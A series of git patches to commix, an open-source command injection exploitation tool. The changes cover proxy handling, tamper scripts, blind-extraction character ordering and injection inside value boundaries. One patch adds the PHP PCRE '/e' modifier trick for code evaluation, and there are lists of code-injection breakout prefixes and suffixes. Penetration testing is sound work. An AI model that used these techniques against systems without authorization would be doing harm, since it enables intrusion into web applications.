@@ -124,7 +124,8 @@ def create_log_file(url, output_dir):
settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db"
# Load command history
- checks.load_cmd_history()
+ if settings.LOAD_SESSION == True:
+ checks.load_cmd_history()
# The logs filename construction.
filename = output_dir + host + "/" + settings.OUTPUT_FILE
diff --git a/src/utils/settings.py b/src/utils/settings.py
index de3f1a9c03..3fb2341c5f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "4"
+REVISION = "5"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 29b9c6e5247f7c49c4b0ba059c04fe73e1c6c6b5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 11 Dec 2022 11:05:20 +0200
Subject: [PATCH 223/560] Trivial update
---
src/core/injections/controller/checks.py | 4 ++--
src/core/tamper/backslashes.py | 1 +
src/core/tamper/caret.py | 1 +
src/core/tamper/dollaratsigns.py | 1 +
src/core/tamper/doublequotes.py | 1 +
src/core/tamper/slash2env.py | 2 ++
src/core/tamper/sleep2timeout.py | 1 +
src/core/tamper/sleep2usleep.py | 1 +
src/utils/settings.py | 2 +-
9 files changed, 11 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 92d6605cfc..117519df5b 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1168,7 +1168,7 @@ def whitespace_check(payload):
settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2)
"""
-Check for added caret between the characters of the generated payloads.
+Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads.
"""
def other_symbols(payload):
# Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads.
@@ -1404,7 +1404,7 @@ def perform_payload_modification(payload):
if encode_type == 'singlequotes':
from src.core.tamper import singlequotes
payload = singlequotes.tamper(payload)
- # Add caret symbol.
+ # Add backslashes.
elif encode_type == 'backslashes':
from src.core.tamper import backslashes
payload = backslashes.tamper(payload)
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
index a374701281..2d4fd80b0f 100644
--- a/src/core/tamper/backslashes.py
+++ b/src/core/tamper/backslashes.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
index 978bbb70cd..21081e7cbb 100644
--- a/src/core/tamper/caret.py
+++ b/src/core/tamper/caret.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
index df5e2e96d5..b870ad2612 100644
--- a/src/core/tamper/dollaratsigns.py
+++ b/src/core/tamper/dollaratsigns.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
index a044527cb2..bd3269bb8f 100644
--- a/src/core/tamper/doublequotes.py
+++ b/src/core/tamper/doublequotes.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
index 973f33f6cf..602ec6715c 100644
--- a/src/core/tamper/slash2env.py
+++ b/src/core/tamper/slash2env.py
@@ -4,10 +4,12 @@
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
+
For more see the file 'readme/COPYING' for copying permission.
"""
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index 585bf6aa0c..9f9ce00f44 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index dedf255b3f..867d80567c 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -12,6 +12,7 @@
For more see the file 'readme/COPYING' for copying permission.
"""
+
import re
import sys
from src.utils import menu
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3fb2341c5f..c29b5cfa08 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "5"
+REVISION = "6"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From f320340e6dddd075e4bb5ff0010ca83f088c6c4d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 12 Dec 2022 09:52:30 +0200
Subject: [PATCH 224/560] Minor update
---
src/core/injections/controller/checks.py | 14 +++++++-------
src/utils/settings.py | 2 +-
2 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 117519df5b..3c7d58c5ce 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1652,15 +1652,15 @@ def generate_char_pool(num_of_chars):
if menu.options.charset:
char_pool = [ord(c) for c in menu.options.charset]
else:
- # if num_of_chars == 1:
- # # Checks {A..Z},{a..z},{0..9},{Symbols}
- # char_pool = list(range(65, 90)) + list(range(96, 122))
- # else:
- # # Checks {a..z},{A..Z},{0..9},{Symbols}
- char_pool = list(range(96, 122)) + list(range(65, 90))
+ # Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language
+ if num_of_chars == 1:
+ char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \
+ [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122]
+ else:
+ char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \
+ [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90]
char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
-
"""
Print powershell version
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c29b5cfa08..cd97200c25 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "6"
+REVISION = "7"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 13 Dec 2022 22:02:31 +0200
Subject: [PATCH 225/560] Minor update
---
src/utils/settings.py | 2 +-
src/utils/update.py | 3 +--
2 files changed, 2 insertions(+), 3 deletions(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index cd97200c25..c4a6813c96 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "7"
+REVISION = "8"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
diff --git a/src/utils/update.py b/src/utils/update.py
index f1cc9fa458..e371b9a5dc 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -91,11 +91,10 @@ def updater():
if requirments.do_check(requirment) == True :
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "commix will try to update itself using '" + requirment + "' command."
+ print(settings.SINGLE_WHITESPACE)
print(settings.print_debug_msg(debug_msg))
# Check if ".git" exists!
if os.path.isdir("./.git"):
- sys.stdout.write(settings.SUCCESS_STATUS + "\n")
- sys.stdout.flush()
info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) "
info_msg += "version. "
sys.stdout.write(settings.print_info_msg(info_msg))
From 1e6e5815fd692f7e859d4c3292fb9d0ace1ead1a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 13 Dec 2022 22:10:46 +0200
Subject: [PATCH 226/560] Minor fix regarding commit:
https://github.com/commixproject/commix/commit/e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5
---
src/utils/settings.py | 2 +-
src/utils/update.py | 2 ++
2 files changed, 3 insertions(+), 1 deletion(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c4a6813c96..43b1237ba5 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "8"
+REVISION = "9"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
diff --git a/src/utils/update.py b/src/utils/update.py
index e371b9a5dc..7282ab2471 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -94,6 +94,8 @@ def updater():
print(settings.SINGLE_WHITESPACE)
print(settings.print_debug_msg(debug_msg))
# Check if ".git" exists!
+ else:
+ print(settings.SINGLE_WHITESPACE)
if os.path.isdir("./.git"):
info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) "
info_msg += "version. "
From edc47ef13786fcd666ea7ec12433ee8251553286 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 15 Dec 2022 09:26:40 +0200
Subject: [PATCH 227/560] Minor update regarding using a proxy to connect to
the target URL.
---
src/core/requests/headers.py | 3 +++
src/core/requests/proxy.py | 3 +--
src/core/requests/requests.py | 5 ++++-
src/utils/settings.py | 2 +-
4 files changed, 9 insertions(+), 4 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 5971abdd5d..a2a6e6092a 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -143,6 +143,7 @@ def https_open(self, req):
checks.connection_exceptions(err_msg, url=req)
opener = _urllib.request.build_opener(connection_handler())
+
if len(settings.HTTP_METHOD) != 0:
request.get_method = lambda: settings.HTTP_METHOD
@@ -154,6 +155,8 @@ def https_open(self, req):
settings.MULTI_ENCODED_PAYLOAD = []
menu.options.tamper = settings.USER_SUPPLIED_TAMPER
try:
+ if menu.options.proxy:
+ request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
_ = True
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index 6fbf680179..1dfeb288ee 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -28,7 +28,6 @@
"""
def use_proxy(request):
headers.do_check(request)
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
@@ -46,6 +45,6 @@ def do_check(url):
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
request = _urllib.request.Request(url)
- use_proxy(request)
+ request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
# eof
\ No newline at end of file
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 883bd9b7df..9b802b0578 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -50,9 +50,12 @@ def estimate_response_time(url, timesec):
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
- headers.do_check(request)
+
+ headers.do_check(request)
start = time.time()
try:
+ if menu.options.proxy:
+ request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 43b1237ba5..4a44e2bf48 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "9"
+REVISION = "10"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c6debf6f415167a04d779aedfc5b4f646dc72158 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 16 Dec 2022 09:02:56 +0200
Subject: [PATCH 228/560] Fixes
https://github.com/commixproject/commix/issues/796
---
src/core/modules/shellshock/shellshock.py | 2 ++
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 1 deletion(-)
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index bbc78c0e79..36fe50c4fa 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -22,6 +22,8 @@
from src.core.injections.controller import checks
default_user_agent = menu.options.agent
+default_cookie = ""
+
if menu.options.cookie:
if settings.INJECT_TAG in menu.options.cookie:
menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4a44e2bf48..3f4ff8ae42 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "10"
+REVISION = "11"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 41b73dd534f35c64b139de54f818d9de8b1eada8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 18 Dec 2022 12:14:05 +0200
Subject: [PATCH 229/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/edc47ef13786fcd666ea7ec12433ee8251553286
---
src/core/requests/headers.py | 5 +++--
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index a2a6e6092a..ce4407f6d3 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -148,6 +148,7 @@ def https_open(self, req):
request.get_method = lambda: settings.HTTP_METHOD
_ = False
+ response = False
unauthorized = False
while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
if settings.MULTI_TARGETS:
@@ -158,7 +159,6 @@ def https_open(self, req):
if menu.options.proxy:
request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = opener.open(request, timeout=settings.TIMEOUT)
- page = checks.page_encoding(response, action="encode")
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
@@ -200,7 +200,8 @@ def https_open(self, req):
break
try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if response is False:
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
code = response.getcode()
response_headers = response.info()
page = checks.page_encoding(response, action="encode")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3f4ff8ae42..9e39fc6d6f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "11"
+REVISION = "12"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 3df9b1bec43aeb029940701d7c304b7cdf2c0af8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 19 Dec 2022 08:33:04 +0200
Subject: [PATCH 230/560] Minor update
---
src/core/requests/requests.py | 7 +++----
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 5 deletions(-)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 9b802b0578..bbff77636b 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -46,11 +46,10 @@ def estimate_response_time(url, timesec):
sys.stdout.flush()
# Check if defined POST data
if menu.options.data:
- request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
+ request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC))
else:
- url = parameters.get_url_part(url)
- request = _urllib.request.Request(url)
-
+ request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE))
+
headers.do_check(request)
start = time.time()
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 9e39fc6d6f..67ff1e373c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "12"
+REVISION = "13"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 65ddd985fda7be0c663ec56d1d25d9a1f9099c04 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 20 Dec 2022 07:47:39 +0200
Subject: [PATCH 231/560] Minor update
---
src/core/injections/controller/checks.py | 3 +++
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 1 deletion(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 3c7d58c5ce..8bf53a5038 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -760,6 +760,9 @@ def check_CGI_scripts(url):
Check if http / https.
"""
def check_http_s(url):
+ if settings.SINGLE_WHITESPACE in url:
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
+
if settings.CHECK_INTERNET:
url = settings.CHECK_INTERNET_ADDRESS
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 67ff1e373c..a279f8d403 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "13"
+REVISION = "14"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From cc1ecdee45d917927210333c64c4fb60d63a21ea Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 21 Dec 2022 07:28:29 +0200
Subject: [PATCH 232/560] Minor update regarding injecting a value inside
boundaries
---
src/core/injections/controller/checks.py | 9 ++++++++-
src/core/requests/headers.py | 1 +
src/core/requests/parameters.py | 4 ++++
src/utils/settings.py | 3 ++-
4 files changed, 15 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 8bf53a5038..3132d8869d 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -240,6 +240,12 @@ def load_cmd_history():
warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
print(settings.print_warning_msg(warn_msg))
+"""
+Get value inside boundaries.
+"""
+def get_value_boundaries(value):
+ return re.search(settings.VALUE_BOUNDARIES, value).group(1)
+
"""
Check if the value has boundaries.
"""
@@ -248,8 +254,9 @@ def value_boundaries(value):
message += "Do you want to inject inside? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
- value = re.search(settings.VALUE_BOUNDARIES, value).group(1)
+ value = get_value_boundaries(value)
elif procced_option in settings.CHOICE_NO:
+ settings.INJECT_INSIDE_BOUNDARIES = False
pass
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index ce4407f6d3..f1fe4629ac 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -243,6 +243,7 @@ def https_open(self, req):
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
+
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 4f18522c36..1758605e0c 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -173,6 +173,8 @@ def vuln_GET_param(url):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
+ if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
+ settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
@@ -377,6 +379,8 @@ def vuln_POST_param(parameter, url):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
+ if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
+ settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a279f8d403..f369145e02 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "14"
+REVISION = "15"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -283,6 +283,7 @@ def sys_argv_errors():
INJECT_TAG = "INJECT_HERE"
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
+INJECT_INSIDE_BOUNDARIES = True
# Default (windows) target host's python interpreter
WIN_PYTHON_INTERPRETER = "python.exe"
From 271d1448c67380f4e8a75e725dba4f45ae37470c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 22 Dec 2022 09:14:03 +0200
Subject: [PATCH 233/560] Minor improvement regarding adding PCRE_REPLACE_EVAL
`/e` modifier (i.e. dynamic code evaluation technique).
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 34 ++++++++++++++++++--
src/core/injections/controller/controller.py | 11 +++----
src/core/requests/requests.py | 4 ++-
src/utils/settings.py | 8 +++--
5 files changed, 45 insertions(+), 13 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8cf4222db2..818c2d2511 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
## Version 3.6 (2022-11-18)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 3132d8869d..73bb05db70 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -250,11 +250,12 @@ def get_value_boundaries(value):
Check if the value has boundaries.
"""
def value_boundaries(value):
- message = "It appears that the value '" + value + "' has boundaries. "
+ _ = get_value_boundaries(value)
+ message = "It appears that the value '" + str(_) + "' has boundaries. "
message += "Do you want to inject inside? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
- value = get_value_boundaries(value)
+ value = _
elif procced_option in settings.CHOICE_NO:
settings.INJECT_INSIDE_BOUNDARIES = False
pass
@@ -763,6 +764,35 @@ def check_CGI_scripts(url):
if not _:
menu.options.shellshock = False
+"""
+Add the PCRE_REPLACE_EVAL (/e) modifier
+"""
+def add_PCRE_REPLACE_EVAL_modifier(url):
+ try:
+ if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data):
+ while True:
+ message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > "
+ modifier_check = common.read_input(message, default="Y", check_batch=True)
+ settings.PCRE_REPLACE_EVAL = True
+ if modifier_check in settings.CHOICE_YES:
+ if re.findall(r"=(.*)&", url):
+ url = url.replace("/&", "/e&")
+ elif re.findall(r"=(.*)&", menu.options.data):
+ menu.options.data = menu.options.data.replace("/&", "/e&")
+ return url
+ elif modifier_check in settings.CHOICE_NO:
+ return url
+ elif modifier_check in settings.CHOICE_QUIT:
+ print(settings.SINGLE_WHITESPACE)
+ os._exit(0)
+ else:
+ common.invalid_option(shellshock_check)
+ pass
+ except TypeError as err_msg:
+ pass
+
+ return url
+
"""
Check if http / https.
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 70723645de..2eff869a3e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -131,18 +131,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
Heuristic (basic) tests for code injection warnings
"""
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
+ settings.PCRE_REPLACE_EVAL = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ""
settings.EVAL_BASED_STATE = True
try:
- try:
- if re.findall(r"=(.*)&", url):
- url = url.replace("/&", "/e&")
- elif re.findall(r"=(.*)&", menu.options.data):
- menu.options.data = menu.options.data.replace("/&", "/e&")
- except TypeError as err_msg:
- pass
+ url = checks.add_PCRE_REPLACE_EVAL_modifier(url)
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
@@ -231,6 +226,8 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met
# Check if it's exploitable via dynamic code evaluation technique.
def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method):
+ if not settings.PCRE_REPLACE_EVAL:
+ url = checks.add_PCRE_REPLACE_EVAL_modifier(url)
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
if not settings.SKIP_CODE_INJECTIONS:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index bbff77636b..3b341542df 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -391,7 +391,9 @@ def request_failed(err_msg):
return False
else:
err_msg = reason
- if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
+ (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \
+ settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
return True
else:
if len(err_msg) != 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f369145e02..fb6102c385 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "15"
+REVISION = "16"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -468,13 +468,13 @@ def sys_argv_errors():
# The code injection prefixes.
EVAL_PREFIXES = []
-EVAL_PREFIXES_LVL1 = ["{${", "'.", "."]
+EVAL_PREFIXES_LVL1 = [".", "'.", "{${"]
EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"]
EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
# The code injection suffixes.
EVAL_SUFFIXES = []
-EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""]
+EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"]
EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"]
EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"]
@@ -1229,4 +1229,6 @@ def sys_argv_errors():
ANSWERS = ""
CHECKING_PARAMETER = ""
+
+PCRE_REPLACE_EVAL = False
# eof
\ No newline at end of file
From 17ca1f025833ebf6cd13afe41b318a0a27d5ffa0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 23 Dec 2022 09:10:55 +0200
Subject: [PATCH 234/560] Fixes
https://github.com/commixproject/commix/issues/798
---
